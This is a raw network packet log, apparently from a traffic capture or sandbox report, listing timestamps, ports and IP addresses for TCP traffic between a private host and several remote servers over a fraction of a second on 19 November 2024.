Nov 19, 2024 20:05:49.745184898 CET	443	52546	23.44.203.72	192.168.2.7
Nov 19, 2024 20:05:49.745244980 CET	52546	443	192.168.2.7	23.44.203.72
Nov 19, 2024 20:05:49.745997906 CET	52546	443	192.168.2.7	23.44.203.72
Nov 19, 2024 20:05:49.746011019 CET	443	52546	23.44.203.72	192.168.2.7
Nov 19, 2024 20:05:49.781100035 CET	52536	443	192.168.2.7	20.110.205.119
Nov 19, 2024 20:05:49.781102896 CET	52530	443	192.168.2.7	104.117.182.59
Nov 19, 2024 20:05:49.781126022 CET	443	52536	20.110.205.119	192.168.2.7
Nov 19, 2024 20:05:49.816267014 CET	443	52530	104.117.182.59	192.168.2.7
Nov 19, 2024 20:05:49.816298962 CET	443	52530	104.117.182.59	192.168.2.7
Nov 19, 2024 20:05:49.816307068 CET	443	52530	104.117.182.59	192.168.2.7
Nov 19, 2024 20:05:49.816338062 CET	443	52530	104.117.182.59	192.168.2.7
Nov 19, 2024 20:05:49.816351891 CET	443	52530	104.117.182.59	192.168.2.7
Nov 19, 2024 20:05:49.816363096 CET	443	52530	104.117.182.59	192.168.2.7
Nov 19, 2024 20:05:49.816370964 CET	52530	443	192.168.2.7	104.117.182.59
Nov 19, 2024 20:05:49.816384077 CET	443	52530	104.117.182.59	192.168.2.7
Nov 19, 2024 20:05:49.816435099 CET	52530	443	192.168.2.7	104.117.182.59
Nov 19, 2024 20:05:49.819464922 CET	443	52525	13.107.246.40	192.168.2.7
Nov 19, 2024 20:05:49.819885015 CET	443	52527	13.107.246.45	192.168.2.7
Nov 19, 2024 20:05:49.821353912 CET	443	52530	104.117.182.59	192.168.2.7
Nov 19, 2024 20:05:49.821367025 CET	443	52530	104.117.182.59	192.168.2.7
Nov 19, 2024 20:05:49.821387053 CET	443	52530	104.117.182.59	192.168.2.7
Nov 19, 2024 20:05:49.821396112 CET	443	52530	104.117.182.59	192.168.2.7
Nov 19, 2024 20:05:49.821408033 CET	443	52530	104.117.182.59	192.168.2.7
Nov 19, 2024 20:05:49.821413994 CET	443	52530	104.117.182.59	192.168.2.7
Nov 19, 2024 20:05:49.821425915 CET	52530	443	192.168.2.7	104.117.182.59
Nov 19, 2024 20:05:49.821487904 CET	52530	443	192.168.2.7	104.117.182.59
Nov 19, 2024 20:05:49.821718931 CET	443	52530	104.117.182.59	192.168.2.7
Nov 19, 2024 20:05:49.821779013 CET	52530	443	192.168.2.7	104.117.182.59
Nov 19, 2024 20:05:49.822000980 CET	52525	443	192.168.2.7	13.107.246.40
Nov 19, 2024 20:05:49.822032928 CET	443	52525	13.107.246.40	192.168.2.7
Nov 19, 2024 20:05:49.822644949 CET	443	52525	13.107.246.40	192.168.2.7
Nov 19, 2024 20:05:49.823775053 CET	52525	443	192.168.2.7	13.107.246.40
Nov 19, 2024 20:05:49.823908091 CET	443	52525	13.107.246.40	192.168.2.7
Nov 19, 2024 20:05:49.824261904 CET	52525	443	192.168.2.7	13.107.246.40
Nov 19, 2024 20:05:49.825059891 CET	443	52531	13.107.246.40	192.168.2.7
Nov 19, 2024 20:05:49.825434923 CET	443	52534	13.107.246.40	192.168.2.7
Nov 19, 2024 20:05:49.825562954 CET	52531	443	192.168.2.7	13.107.246.40
Nov 19, 2024 20:05:49.825587988 CET	443	52531	13.107.246.40	192.168.2.7
Nov 19, 2024 20:05:49.825895071 CET	52534	443	192.168.2.7	13.107.246.40
Nov 19, 2024 20:05:49.825918913 CET	443	52534	13.107.246.40	192.168.2.7
Nov 19, 2024 20:05:49.826009035 CET	443	52535	13.107.246.40	192.168.2.7
Nov 19, 2024 20:05:49.826082945 CET	443	52533	13.107.246.40	192.168.2.7
Nov 19, 2024 20:05:49.826085091 CET	443	52531	13.107.246.40	192.168.2.7
Nov 19, 2024 20:05:49.826116085 CET	443	52526	13.107.246.45	192.168.2.7
Nov 19, 2024 20:05:49.826349020 CET	443	52532	13.107.246.40	192.168.2.7
Nov 19, 2024 20:05:49.826961040 CET	52531	443	192.168.2.7	13.107.246.40
Nov 19, 2024 20:05:49.826991081 CET	443	52534	13.107.246.40	192.168.2.7
Nov 19, 2024 20:05:49.827020884 CET	443	52531	13.107.246.40	192.168.2.7
Nov 19, 2024 20:05:49.827183962 CET	52535	443	192.168.2.7	13.107.246.40
Nov 19, 2024 20:05:49.827183962 CET	52533	443	192.168.2.7	13.107.246.40
Nov 19, 2024 20:05:49.827208042 CET	443	52535	13.107.246.40	192.168.2.7
Nov 19, 2024 20:05:49.827229023 CET	443	52533	13.107.246.40	192.168.2.7
Nov 19, 2024 20:05:49.827574015 CET	52534	443	192.168.2.7	13.107.246.40
Nov 19, 2024 20:05:49.827574015 CET	52532	443	192.168.2.7	13.107.246.40
Nov 19, 2024 20:05:49.827589989 CET	443	52532	13.107.246.40	192.168.2.7
Nov 19, 2024 20:05:49.828212976 CET	443	52535	13.107.246.40	192.168.2.7
Nov 19, 2024 20:05:49.828238010 CET	52534	443	192.168.2.7	13.107.246.40
Nov 19, 2024 20:05:49.828277111 CET	52535	443	192.168.2.7	13.107.246.40
Nov 19, 2024 20:05:49.828294039 CET	443	52533	13.107.246.40	192.168.2.7
Nov 19, 2024 20:05:49.828304052 CET	443	52534	13.107.246.40	192.168.2.7
Nov 19, 2024 20:05:49.828639984 CET	52531	443	192.168.2.7	13.107.246.40
Nov 19, 2024 20:05:49.828799009 CET	443	52532	13.107.246.40	192.168.2.7
Nov 19, 2024 20:05:49.829062939 CET	52532	443	192.168.2.7	13.107.246.40
Nov 19, 2024 20:05:49.829130888 CET	443	52528	104.117.182.59	192.168.2.7
Nov 19, 2024 20:05:49.829140902 CET	52533	443	192.168.2.7	13.107.246.40
Nov 19, 2024 20:05:49.829159021 CET	443	52528	104.117.182.59	192.168.2.7
Nov 19, 2024 20:05:49.829175949 CET	443	52528	104.117.182.59	192.168.2.7
Nov 19, 2024 20:05:49.829202890 CET	52528	443	192.168.2.7	104.117.182.59
Nov 19, 2024 20:05:49.829215050 CET	443	52528	104.117.182.59	192.168.2.7
Nov 19, 2024 20:05:49.829235077 CET	52528	443	192.168.2.7	104.117.182.59
Nov 19, 2024 20:05:49.829256058 CET	52528	443	192.168.2.7	104.117.182.59
Nov 19, 2024 20:05:49.829623938 CET	443	52528	104.117.182.59	192.168.2.7
Nov 19, 2024 20:05:49.829647064 CET	443	52528	104.117.182.59	192.168.2.7
Nov 19, 2024 20:05:49.829648018 CET	52532	443	192.168.2.7	13.107.246.40
Nov 19, 2024 20:05:49.829674959 CET	52528	443	192.168.2.7	104.117.182.59
Nov 19, 2024 20:05:49.829680920 CET	443	52528	104.117.182.59	192.168.2.7
Nov 19, 2024 20:05:49.829694033 CET	52528	443	192.168.2.7	104.117.182.59
Nov 19, 2024 20:05:49.829710007 CET	52528	443	192.168.2.7	104.117.182.59
Nov 19, 2024 20:05:49.829801083 CET	52535	443	192.168.2.7	13.107.246.40
Nov 19, 2024 20:05:49.829801083 CET	52533	443	192.168.2.7	13.107.246.40
Nov 19, 2024 20:05:49.829863071 CET	443	52535	13.107.246.40	192.168.2.7
Nov 19, 2024 20:05:49.829866886 CET	443	52532	13.107.246.40	192.168.2.7
Nov 19, 2024 20:05:49.829901934 CET	443	52533	13.107.246.40	192.168.2.7
Nov 19, 2024 20:05:49.829997063 CET	52535	443	192.168.2.7	13.107.246.40
Nov 19, 2024 20:05:49.829997063 CET	52533	443	192.168.2.7	13.107.246.40
Nov 19, 2024 20:05:49.830013037 CET	443	52535	13.107.246.40	192.168.2.7
Nov 19, 2024 20:05:49.830017090 CET	52534	443	192.168.2.7	13.107.246.40
Nov 19, 2024 20:05:49.830017090 CET	52532	443	192.168.2.7	13.107.246.40
Nov 19, 2024 20:05:49.830024958 CET	443	52534	13.107.246.40	192.168.2.7
Nov 19, 2024 20:05:49.830029011 CET	443	52533	13.107.246.40	192.168.2.7
Nov 19, 2024 20:05:49.830038071 CET	443	52532	13.107.246.40	192.168.2.7
Nov 19, 2024 20:05:49.830436945 CET	443	52528	104.117.182.59	192.168.2.7
Nov 19, 2024 20:05:49.830488920 CET	52528	443	192.168.2.7	104.117.182.59
Nov 19, 2024 20:05:49.831280947 CET	443	52529	104.117.182.59	192.168.2.7
Nov 19, 2024 20:05:49.831325054 CET	443	52529	104.117.182.59	192.168.2.7
Nov 19, 2024 20:05:49.831367970 CET	443	52529	104.117.182.59	192.168.2.7
Nov 19, 2024 20:05:49.831417084 CET	52529	443	192.168.2.7	104.117.182.59
Nov 19, 2024 20:05:49.831434965 CET	443	52529	104.117.182.59	192.168.2.7
Nov 19, 2024 20:05:49.831480026 CET	52529	443	192.168.2.7	104.117.182.59
Nov 19, 2024 20:05:49.831480026 CET	52529	443	192.168.2.7	104.117.182.59
Nov 19, 2024 20:05:49.832530975 CET	443	52529	104.117.182.59	192.168.2.7
Nov 19, 2024 20:05:49.832556009 CET	443	52529	104.117.182.59	192.168.2.7
Nov 19, 2024 20:05:49.832614899 CET	443	52529	104.117.182.59	192.168.2.7
Nov 19, 2024 20:05:49.832659006 CET	52529	443	192.168.2.7	104.117.182.59
Nov 19, 2024 20:05:49.832659006 CET	52529	443	192.168.2.7	104.117.182.59
Nov 19, 2024 20:05:49.832665920 CET	443	52529	104.117.182.59	192.168.2.7
Nov 19, 2024 20:05:49.832746029 CET	52529	443	192.168.2.7	104.117.182.59
Nov 19, 2024 20:05:49.835602999 CET	52527	443	192.168.2.7	13.107.246.45
Nov 19, 2024 20:05:49.835613966 CET	443	52527	13.107.246.45	192.168.2.7
Nov 19, 2024 20:05:49.836112022 CET	52527	443	192.168.2.7	13.107.246.45
Nov 19, 2024 20:05:49.836116076 CET	443	52527	13.107.246.45	192.168.2.7
Nov 19, 2024 20:05:49.836692095 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:49.836728096 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:49.836739063 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:49.836803913 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:49.836803913 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:49.836827993 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:49.836841106 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:49.836854935 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:49.836869001 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:49.836922884 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:49.836922884 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:49.836922884 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:49.836935997 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:49.836950064 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:49.836968899 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:49.836980104 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:49.837003946 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:49.837003946 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:49.837003946 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:49.837025881 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:49.837035894 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:49.837095022 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:49.837105989 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:49.837117910 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:49.837130070 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:49.837131023 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:49.837131023 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:49.837131023 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:49.837168932 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:49.837168932 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:49.837219954 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:49.837232113 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:49.837266922 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:49.837279081 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:49.837300062 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:49.837300062 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:49.837378979 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:49.837390900 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:49.837403059 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:49.837426901 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:49.837426901 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:49.837426901 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:49.837435007 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:49.837447882 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:49.837460041 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:49.837541103 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:49.837553024 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:49.837564945 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:49.837585926 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:49.837585926 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:49.837585926 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:49.837639093 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:49.837651014 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:49.837661982 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:49.837676048 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:49.837690115 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:49.837690115 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:49.837690115 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:49.837842941 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:49.837853909 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:49.837862015 CET	52526	443	192.168.2.7	13.107.246.45
Nov 19, 2024 20:05:49.837866068 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:49.837877035 CET	443	52526	13.107.246.45	192.168.2.7
Nov 19, 2024 20:05:49.837877035 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:49.837898970 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:49.837905884 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:49.837905884 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:49.837905884 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:49.837913036 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:49.837925911 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:49.837939024 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:49.837977886 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:49.837977886 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:49.837977886 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:49.838053942 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:49.838076115 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:49.838087082 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:49.838134050 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:49.838134050 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:49.838294029 CET	52526	443	192.168.2.7	13.107.246.45
Nov 19, 2024 20:05:49.838299036 CET	443	52526	13.107.246.45	192.168.2.7
Nov 19, 2024 20:05:49.870856047 CET	52533	443	192.168.2.7	13.107.246.40
Nov 19, 2024 20:05:49.871326923 CET	443	52525	13.107.246.40	192.168.2.7
Nov 19, 2024 20:05:49.871356010 CET	52532	443	192.168.2.7	13.107.246.40
Nov 19, 2024 20:05:49.875332117 CET	443	52531	13.107.246.40	192.168.2.7
Nov 19, 2024 20:05:49.906122923 CET	443	52536	20.110.205.119	192.168.2.7
Nov 19, 2024 20:05:49.906383991 CET	443	52536	20.110.205.119	192.168.2.7
Nov 19, 2024 20:05:49.906439066 CET	52536	443	192.168.2.7	20.110.205.119
Nov 19, 2024 20:05:49.907093048 CET	443	52530	104.117.182.59	192.168.2.7
Nov 19, 2024 20:05:49.907108068 CET	443	52530	104.117.182.59	192.168.2.7
Nov 19, 2024 20:05:49.907134056 CET	443	52530	104.117.182.59	192.168.2.7
Nov 19, 2024 20:05:49.907169104 CET	52530	443	192.168.2.7	104.117.182.59
Nov 19, 2024 20:05:49.907177925 CET	443	52530	104.117.182.59	192.168.2.7
Nov 19, 2024 20:05:49.907221079 CET	52530	443	192.168.2.7	104.117.182.59
Nov 19, 2024 20:05:49.907623053 CET	443	52530	104.117.182.59	192.168.2.7
Nov 19, 2024 20:05:49.907639980 CET	443	52530	104.117.182.59	192.168.2.7
Nov 19, 2024 20:05:49.907691956 CET	52530	443	192.168.2.7	104.117.182.59
Nov 19, 2024 20:05:49.907697916 CET	443	52530	104.117.182.59	192.168.2.7
Nov 19, 2024 20:05:49.908150911 CET	443	52530	104.117.182.59	192.168.2.7
Nov 19, 2024 20:05:49.908201933 CET	52530	443	192.168.2.7	104.117.182.59
Nov 19, 2024 20:05:49.908206940 CET	443	52530	104.117.182.59	192.168.2.7
Nov 19, 2024 20:05:49.908236027 CET	52530	443	192.168.2.7	104.117.182.59
Nov 19, 2024 20:05:49.909164906 CET	443	52530	104.117.182.59	192.168.2.7
Nov 19, 2024 20:05:49.909192085 CET	443	52530	104.117.182.59	192.168.2.7
Nov 19, 2024 20:05:49.909233093 CET	52530	443	192.168.2.7	104.117.182.59
Nov 19, 2024 20:05:49.909239054 CET	443	52530	104.117.182.59	192.168.2.7
Nov 19, 2024 20:05:49.909265041 CET	443	52530	104.117.182.59	192.168.2.7
Nov 19, 2024 20:05:49.909300089 CET	52530	443	192.168.2.7	104.117.182.59
Nov 19, 2024 20:05:49.909327030 CET	52530	443	192.168.2.7	104.117.182.59
Nov 19, 2024 20:05:49.911252022 CET	52536	443	192.168.2.7	20.110.205.119
Nov 19, 2024 20:05:49.911272049 CET	443	52536	20.110.205.119	192.168.2.7
Nov 19, 2024 20:05:49.911900997 CET	52530	443	192.168.2.7	104.117.182.59
Nov 19, 2024 20:05:49.911916971 CET	443	52530	104.117.182.59	192.168.2.7
Nov 19, 2024 20:05:49.918256998 CET	443	52529	104.117.182.59	192.168.2.7
Nov 19, 2024 20:05:49.918293953 CET	443	52529	104.117.182.59	192.168.2.7
Nov 19, 2024 20:05:49.918380976 CET	52529	443	192.168.2.7	104.117.182.59
Nov 19, 2024 20:05:49.918380976 CET	52529	443	192.168.2.7	104.117.182.59
Nov 19, 2024 20:05:49.918390989 CET	443	52529	104.117.182.59	192.168.2.7
Nov 19, 2024 20:05:49.918653965 CET	443	52529	104.117.182.59	192.168.2.7
Nov 19, 2024 20:05:49.918697119 CET	443	52529	104.117.182.59	192.168.2.7
Nov 19, 2024 20:05:49.918703079 CET	52529	443	192.168.2.7	104.117.182.59
Nov 19, 2024 20:05:49.918703079 CET	52529	443	192.168.2.7	104.117.182.59
Nov 19, 2024 20:05:49.918715000 CET	443	52529	104.117.182.59	192.168.2.7
Nov 19, 2024 20:05:49.918791056 CET	52529	443	192.168.2.7	104.117.182.59
Nov 19, 2024 20:05:49.918791056 CET	52529	443	192.168.2.7	104.117.182.59
Nov 19, 2024 20:05:49.919027090 CET	443	52529	104.117.182.59	192.168.2.7
Nov 19, 2024 20:05:49.919249058 CET	443	52529	104.117.182.59	192.168.2.7
Nov 19, 2024 20:05:49.919281006 CET	443	52529	104.117.182.59	192.168.2.7
Nov 19, 2024 20:05:49.919338942 CET	443	52529	104.117.182.59	192.168.2.7
Nov 19, 2024 20:05:49.919351101 CET	52529	443	192.168.2.7	104.117.182.59
Nov 19, 2024 20:05:49.919351101 CET	52529	443	192.168.2.7	104.117.182.59
Nov 19, 2024 20:05:49.919351101 CET	52529	443	192.168.2.7	104.117.182.59
Nov 19, 2024 20:05:49.919574022 CET	52529	443	192.168.2.7	104.117.182.59
Nov 19, 2024 20:05:49.919574022 CET	52529	443	192.168.2.7	104.117.182.59
Nov 19, 2024 20:05:49.920830011 CET	443	52528	104.117.182.59	192.168.2.7
Nov 19, 2024 20:05:49.920850992 CET	443	52528	104.117.182.59	192.168.2.7
Nov 19, 2024 20:05:49.920923948 CET	52528	443	192.168.2.7	104.117.182.59
Nov 19, 2024 20:05:49.920934916 CET	443	52528	104.117.182.59	192.168.2.7
Nov 19, 2024 20:05:49.920973063 CET	52528	443	192.168.2.7	104.117.182.59
Nov 19, 2024 20:05:49.921364069 CET	443	52528	104.117.182.59	192.168.2.7
Nov 19, 2024 20:05:49.921380997 CET	443	52528	104.117.182.59	192.168.2.7
Nov 19, 2024 20:05:49.921426058 CET	52528	443	192.168.2.7	104.117.182.59
Nov 19, 2024 20:05:49.921436071 CET	443	52528	104.117.182.59	192.168.2.7
Nov 19, 2024 20:05:49.921566010 CET	52528	443	192.168.2.7	104.117.182.59
Nov 19, 2024 20:05:49.922204018 CET	443	52528	104.117.182.59	192.168.2.7
Nov 19, 2024 20:05:49.922252893 CET	52528	443	192.168.2.7	104.117.182.59
Nov 19, 2024 20:05:49.924496889 CET	443	52528	104.117.182.59	192.168.2.7
Nov 19, 2024 20:05:49.924527884 CET	443	52528	104.117.182.59	192.168.2.7
Nov 19, 2024 20:05:49.924566984 CET	52528	443	192.168.2.7	104.117.182.59
Nov 19, 2024 20:05:49.924577951 CET	443	52528	104.117.182.59	192.168.2.7
Nov 19, 2024 20:05:49.924614906 CET	52528	443	192.168.2.7	104.117.182.59
Nov 19, 2024 20:05:49.925019979 CET	443	52528	104.117.182.59	192.168.2.7
Nov 19, 2024 20:05:49.925040960 CET	443	52528	104.117.182.59	192.168.2.7
Nov 19, 2024 20:05:49.925100088 CET	52528	443	192.168.2.7	104.117.182.59
Nov 19, 2024 20:05:49.925107956 CET	443	52528	104.117.182.59	192.168.2.7
Nov 19, 2024 20:05:49.925164938 CET	52528	443	192.168.2.7	104.117.182.59
Nov 19, 2024 20:05:49.930273056 CET	443	52535	13.107.246.40	192.168.2.7
Nov 19, 2024 20:05:49.930339098 CET	443	52535	13.107.246.40	192.168.2.7
Nov 19, 2024 20:05:49.930733919 CET	52535	443	192.168.2.7	13.107.246.40
Nov 19, 2024 20:05:49.930733919 CET	52535	443	192.168.2.7	13.107.246.40
Nov 19, 2024 20:05:49.930756092 CET	443	52533	13.107.246.40	192.168.2.7
Nov 19, 2024 20:05:49.930769920 CET	443	52533	13.107.246.40	192.168.2.7
Nov 19, 2024 20:05:49.930821896 CET	443	52533	13.107.246.40	192.168.2.7
Nov 19, 2024 20:05:49.931091070 CET	52533	443	192.168.2.7	13.107.246.40
Nov 19, 2024 20:05:49.931091070 CET	52533	443	192.168.2.7	13.107.246.40
Nov 19, 2024 20:05:49.931850910 CET	52535	443	192.168.2.7	13.107.246.40
Nov 19, 2024 20:05:49.931868076 CET	443	52535	13.107.246.40	192.168.2.7
Nov 19, 2024 20:05:49.932271004 CET	52548	443	192.168.2.7	13.107.246.40
Nov 19, 2024 20:05:49.932305098 CET	443	52548	13.107.246.40	192.168.2.7
Nov 19, 2024 20:05:49.932507992 CET	52548	443	192.168.2.7	13.107.246.40
Nov 19, 2024 20:05:49.932986021 CET	443	52527	13.107.246.45	192.168.2.7
Nov 19, 2024 20:05:49.933008909 CET	443	52527	13.107.246.45	192.168.2.7
Nov 19, 2024 20:05:49.933051109 CET	443	52527	13.107.246.45	192.168.2.7
Nov 19, 2024 20:05:49.933058023 CET	52527	443	192.168.2.7	13.107.246.45
Nov 19, 2024 20:05:49.933085918 CET	52527	443	192.168.2.7	13.107.246.45
Nov 19, 2024 20:05:49.933309078 CET	52548	443	192.168.2.7	13.107.246.40
Nov 19, 2024 20:05:49.933327913 CET	443	52548	13.107.246.40	192.168.2.7
Nov 19, 2024 20:05:49.935554028 CET	52533	443	192.168.2.7	13.107.246.40
Nov 19, 2024 20:05:49.935570002 CET	443	52533	13.107.246.40	192.168.2.7
Nov 19, 2024 20:05:49.935681105 CET	52527	443	192.168.2.7	13.107.246.45
Nov 19, 2024 20:05:49.935681105 CET	52527	443	192.168.2.7	13.107.246.45
Nov 19, 2024 20:05:49.935699940 CET	443	52527	13.107.246.45	192.168.2.7
Nov 19, 2024 20:05:49.935710907 CET	443	52527	13.107.246.45	192.168.2.7
Nov 19, 2024 20:05:49.936069012 CET	52549	443	192.168.2.7	13.107.246.40
Nov 19, 2024 20:05:49.936084032 CET	443	52549	13.107.246.40	192.168.2.7
Nov 19, 2024 20:05:49.936220884 CET	52549	443	192.168.2.7	13.107.246.40
Nov 19, 2024 20:05:49.937817097 CET	52549	443	192.168.2.7	13.107.246.40
Nov 19, 2024 20:05:49.937827110 CET	443	52549	13.107.246.40	192.168.2.7
Nov 19, 2024 20:05:49.940406084 CET	52550	443	192.168.2.7	13.107.246.45
Nov 19, 2024 20:05:49.940417051 CET	443	52550	13.107.246.45	192.168.2.7
Nov 19, 2024 20:05:49.941329002 CET	52550	443	192.168.2.7	13.107.246.45
Nov 19, 2024 20:05:49.944983959 CET	443	52531	13.107.246.40	192.168.2.7
Nov 19, 2024 20:05:49.945004940 CET	443	52531	13.107.246.40	192.168.2.7
Nov 19, 2024 20:05:49.945014000 CET	443	52526	13.107.246.45	192.168.2.7
Nov 19, 2024 20:05:49.945050955 CET	52531	443	192.168.2.7	13.107.246.40
Nov 19, 2024 20:05:49.945060015 CET	443	52531	13.107.246.40	192.168.2.7
Nov 19, 2024 20:05:49.945072889 CET	443	52531	13.107.246.40	192.168.2.7
Nov 19, 2024 20:05:49.945091963 CET	443	52526	13.107.246.45	192.168.2.7
Nov 19, 2024 20:05:49.945108891 CET	52531	443	192.168.2.7	13.107.246.40
Nov 19, 2024 20:05:49.945131063 CET	52526	443	192.168.2.7	13.107.246.45
Nov 19, 2024 20:05:49.947717905 CET	52531	443	192.168.2.7	13.107.246.40
Nov 19, 2024 20:05:49.947725058 CET	443	52531	13.107.246.40	192.168.2.7
Nov 19, 2024 20:05:49.950999022 CET	52550	443	192.168.2.7	13.107.246.45
Nov 19, 2024 20:05:49.951009035 CET	443	52550	13.107.246.45	192.168.2.7
Nov 19, 2024 20:05:49.951627016 CET	52526	443	192.168.2.7	13.107.246.45
Nov 19, 2024 20:05:49.951639891 CET	443	52526	13.107.246.45	192.168.2.7
Nov 19, 2024 20:05:49.952869892 CET	52526	443	192.168.2.7	13.107.246.45
Nov 19, 2024 20:05:49.952877045 CET	443	52526	13.107.246.45	192.168.2.7
Nov 19, 2024 20:05:49.954153061 CET	52551	443	192.168.2.7	13.107.246.45
Nov 19, 2024 20:05:49.954188108 CET	443	52551	13.107.246.45	192.168.2.7
Nov 19, 2024 20:05:49.954643011 CET	52551	443	192.168.2.7	13.107.246.45
Nov 19, 2024 20:05:49.954854965 CET	52551	443	192.168.2.7	13.107.246.45
Nov 19, 2024 20:05:49.954866886 CET	443	52551	13.107.246.45	192.168.2.7
Nov 19, 2024 20:05:49.960165024 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:49.960181952 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:49.960798979 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:49.961004972 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:49.961092949 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:49.961106062 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:49.961180925 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:49.961193085 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:49.961194038 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:49.961194038 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:49.961204052 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:49.961220026 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:49.961275101 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:49.961275101 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:49.961275101 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:49.961287975 CET	80	52448	185.215.113.206	192.168.2.7
